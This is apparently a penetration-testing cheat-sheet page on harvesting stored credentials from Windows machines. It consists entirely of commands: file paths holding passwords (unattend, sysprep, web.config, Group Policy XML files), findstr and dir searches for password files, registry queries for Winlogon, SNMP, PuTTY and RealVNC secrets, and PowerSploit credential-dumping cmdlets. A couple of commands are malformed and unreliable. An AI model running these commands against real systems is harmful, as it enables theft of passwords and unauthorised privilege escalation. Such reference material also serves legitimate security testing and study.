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# Stored Credentials

### Commands

{% code fullWidth="false" %}

```bash
C:\unattend.xml
C:\sysprep.inf
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

IIS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

C:\> dir /b /s unattend.xml
C:\> dir /b /s web.config
C:\> dir /b /s sysprep.inf
C:\> dir /b /s sysprep.xml
C:\> dir /b /s *pass*
C:\> dir /b /s vnc.ini

dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt

dir /a-r-d /s /b
```

{% endcode %}

### Registry

```bash
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

### **SNMP**

```bash
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

### **Putty**

```bash
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
```

### RealVNC

```bash
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
```

### PowerSploit

```bash
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
```


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